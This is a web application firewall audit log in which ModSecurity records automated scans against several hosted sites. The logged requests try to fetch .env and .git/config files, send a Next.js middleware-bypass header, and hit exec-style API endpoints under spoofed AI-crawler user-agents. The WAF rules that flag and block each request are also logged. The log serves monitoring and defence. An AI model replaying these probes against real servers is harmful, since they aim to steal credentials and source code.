Engine-Mode: "ENABLED"
--d5511625-Z--
--f5b51454-A--
[13/Sep/2026:16:41:55.704276 +0300] aqaoI2M7dE9KgIIOpQiB2QAAAMA 34.182.226.0 58884 127.0.0.1 7081
--f5b51454-B--
GET /static//app/.env HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--f5b51454-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f5b51454-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/static/app/.env"] [unique_id "aqaoI2M7dE9KgIIOpQiB2QAAAMA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306915599288 105068 (- - -)
Stopwatch2: 1789306915599288 105068; combined=7067, p1=508, p2=6491, p3=0, p4=0, p5=68, sr=319, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f5b51454-Z--
--41719f3e-A--
[13/Sep/2026:16:41:56.094935 +0300] aqaoI2M7dE9KgIIOpQiB2wAAANc 34.182.226.0 58920 127.0.0.1 7081
--41719f3e-B--
GET /.git/config HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--41719f3e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--41719f3e-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "singlemaltcommunity.com"] [uri "/.git/config"] [unique_id "aqaoI2M7dE9KgIIOpQiB2wAAANc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/.git/config"] [unique_id "aqaoI2M7dE9KgIIOpQiB2wAAANc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "singlemaltcommunity.com"] [uri "/.git/config"] [unique_id "aqaoI2M7dE9KgIIOpQiB2wAAANc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306915973912 121088 (- - -)
Stopwatch2: 1789306915973912 121088; combined=33964, p1=309, p2=33577, p3=0, p4=0, p5=77, sr=129, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--41719f3e-Z--
--79eba733-A--
[13/Sep/2026:16:41:58.164866 +0300] aqaoJkwu1RSkptiiNIX@2gAAAIA 34.182.226.0 58944 127.0.0.1 7081
--79eba733-B--
POST /api HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 452
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: text/x-component
Content-Type: multipart/form-data; boundary=----r2slz3wqdhvu8v6
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
Next-Action: r2s
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
Accept-Encoding: gzip
--79eba733-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--79eba733-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306918076209 88731 (- - -)
Stopwatch2: 1789306918076209 88731; combined=5988, p1=287, p2=5394, p3=0, p4=0, p5=307, sr=104, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--79eba733-Z--
--b5ef503d-A--
[13/Sep/2026:16:41:59.270911 +0300] aqaoJ2M7dE9KgIIOpQiB3QAAANg 34.182.226.0 58974 127.0.0.1 7081
--b5ef503d-B--
POST /api/fs/exec HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 27
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Content-Type: application/json
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
Accept-Encoding: gzip
--b5ef503d-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b5ef503d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306919183678 87313 (- - -)
Stopwatch2: 1789306919183678 87313; combined=6650, p1=456, p2=5855, p3=0, p4=0, p5=339, sr=141, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b5ef503d-Z--
--e51a1a67-A--
[13/Sep/2026:16:42:00.553341 +0300] aqaoKGM7dE9KgIIOpQiB3gAAAMo 34.182.226.0 58980 127.0.0.1 7081
--e51a1a67-B--
DELETE /api/inngest HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
Accept-Encoding: gzip
--e51a1a67-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e51a1a67-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306920469119 84278 (- - -)
Stopwatch2: 1789306920469119 84278; combined=5030, p1=287, p2=4448, p3=0, p4=0, p5=295, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e51a1a67-Z--
--f05e5d33-A--
[13/Sep/2026:16:42:01.261187 +0300] aqaoKWM7dE9KgIIOpQiB3wAAANQ 34.182.226.0 58994 127.0.0.1 7081
--f05e5d33-B--
DELETE /inngest HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
Accept-Encoding: gzip
--f05e5d33-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f05e5d33-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306921164741 96521 (- - -)
Stopwatch2: 1789306921164741 96521; combined=8978, p1=453, p2=7692, p3=0, p4=0, p5=832, sr=189, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f05e5d33-Z--
--2d29f521-A--
[13/Sep/2026:16:42:02.533428 +0300] aqaoKkwu1RSkptiiNIX@2wAAAIE 34.182.226.0 58996 127.0.0.1 7081
--2d29f521-B--
POST /read-document HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 34
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Content-Type: application/json
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
Accept-Encoding: gzip
--2d29f521-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--2d29f521-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306922386995 146539 (- - -)
Stopwatch2: 1789306922386995 146539; combined=9809, p1=455, p2=8294, p3=0, p4=0, p5=1060, sr=172, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2d29f521-Z--
--7b2b6f1c-A--
[13/Sep/2026:16:42:02.982848 +0300] aqaoKkwu1RSkptiiNIX@3AAAAIk 34.182.226.0 59004 127.0.0.1 7081
--7b2b6f1c-B--
POST /read-document HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 20
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Content-Type: application/json
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
Accept-Encoding: gzip
--7b2b6f1c-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--7b2b6f1c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306922891778 91159 (- - -)
Stopwatch2: 1789306922891778 91159; combined=7360, p1=373, p2=6572, p3=0, p4=0, p5=414, sr=129, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7b2b6f1c-Z--
--4c77e415-A--
[13/Sep/2026:16:42:03.856463 +0300] aqaoK2M7dE9KgIIOpQiB4QAAANI 34.182.226.0 59018 127.0.0.1 7081
--4c77e415-B--
POST /mcp HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 168
User-Agent: Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)
Content-Type: application/json
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
Accept-Encoding: gzip
--4c77e415-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--4c77e415-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306923726426 130119 (- - -)
Stopwatch2: 1789306923726426 130119; combined=7504, p1=443, p2=6621, p3=0, p4=0, p5=440, sr=161, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4c77e415-Z--
--95e05652-A--
[13/Sep/2026:16:50:17.876457 +0300] aqaqGWM7dE9KgIIOpQiCUgAAAMs 216.126.237.47 54488 127.0.0.1 7081
--95e05652-B--
GET /.git/config HTTP/1.1
Host: behappydigital.com
X-Real-IP: 216.126.237.47
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept-Encoding: gzip
--95e05652-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--95e05652-E--
--95e05652-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.git/config"] [unique_id "aqaqGWM7dE9KgIIOpQiCUgAAAMs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.git/config"] [unique_id "aqaqGWM7dE9KgIIOpQiCUgAAAMs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.git/config"] [unique_id "aqaqGWM7dE9KgIIOpQiCUgAAAMs"]
Stopwatch: 1789307417839100 37426 (- - -)
Stopwatch2: 1789307417839100 37426; combined=34918, p1=249, p2=34549, p3=60, p4=6, p5=54, sr=110, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--95e05652-Z--
--ea0a7822-A--
[13/Sep/2026:16:52:20.943091 +0300] aqaqlGM7dE9KgIIOpQiCYAAAAMM 8.163.68.110 41792 127.0.0.1 7081
--ea0a7822-B--
GET /.env HTTP/1.1
Host: default-81-180-250-39
X-Real-IP: 8.163.68.110
X-Accel-Internal: /internal-nginx-static-location
User-Agent: python-requests/2.34.2
Accept-Encoding: gzip, deflate
Accept: */*
--ea0a7822-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
X-Frame-Options: SAMEORIGIN
Link:
; rel="https://api.w.org/"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=8d7frh9i02pgsjv841uusflljl; path=/
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--ea0a7822-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.34.2||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.34.2||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "default-81-180-250-39"] [uri "/.env"] [unique_id "aqaqlGM7dE9KgIIOpQiCYAAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "default-81-180-250-39"] [uri "/.env"] [unique_id "aqaqlGM7dE9KgIIOpQiCYAAAAMM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/nuntiinsibiu.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789307540392182 550986 (- - -)
Stopwatch2: 1789307540392182 550986; combined=5640, p1=266, p2=5312, p3=0, p4=0, p5=61, sr=124, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ea0a7822-Z--
--2bf6d60b-A--
[13/Sep/2026:16:52:24.502322 +0300] aqaqmEwu1RSkptiiNIX-JQAAAIs 8.163.68.110 41818 127.0.0.1 7081
--2bf6d60b-B--
GET /.env.example HTTP/1.1
Host: default-81-180-250-39
X-Real-IP: 8.163.68.110
X-Accel-Internal: /internal-nginx-static-location
User-Agent: python-requests/2.34.2
Accept-Encoding: gzip, deflate
Accept: */*
--2bf6d60b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
X-Frame-Options: SAMEORIGIN
Link:
; rel="https://api.w.org/"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=jtpl63m0ps0f5nrm49tmbrs997; path=/
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--2bf6d60b-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.34.2||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.34.2||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "default-81-180-250-39"] [uri "/.env.example"] [unique_id "aqaqmEwu1RSkptiiNIX-JQAAAIs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/nuntiinsibiu.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789307544099478 402907 (- - -)
Stopwatch2: 1789307544099478 402907; combined=3964, p1=263, p2=3645, p3=0, p4=0, p5=56, sr=126, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2bf6d60b-Z--
--9a924f7c-A--
[13/Sep/2026:16:55:05.598912 +0300] aqarOWM7dE9KgIIOpQiCfAAAANI 89.39.7.190 50538 127.0.0.1 7081
--9a924f7c-B--
POST /wp-cron.php?doing_wp_cron=1789307705.4990239143371582031250 HTTP/1.1
Host: ajutam.ro
X-Real-IP: 89.39.7.190
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 0
User-Agent: WordPress/6.9.7; https://ajutam.ro
Accept: */*
Accept-Encoding: deflate, gzip, br
Content-Type: application/x-www-form-urlencoded
--9a924f7c-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.3.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Content-Length: 0
Content-Type: text/html; charset=UTF-8
--9a924f7c-E--
--9a924f7c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:doing_wp_cron=1789307705.4990239143371582031250& P: F:||T:APACHE||R:200"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Message: Warning. Pattern match "fff$" at UNIQUE_ID. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "548"] [id "77316842"] [msg "IM360 WAF: Performance measurement||PERF_ALL:combined=3927, p1=268, p2=3520, p3=126, p4=13, p5=0, sr=92, sw=0, l=0, gc=0||T:APACHE||"] [severity "NOTICE"] [tag "service_i360"] [tag "noshow"]
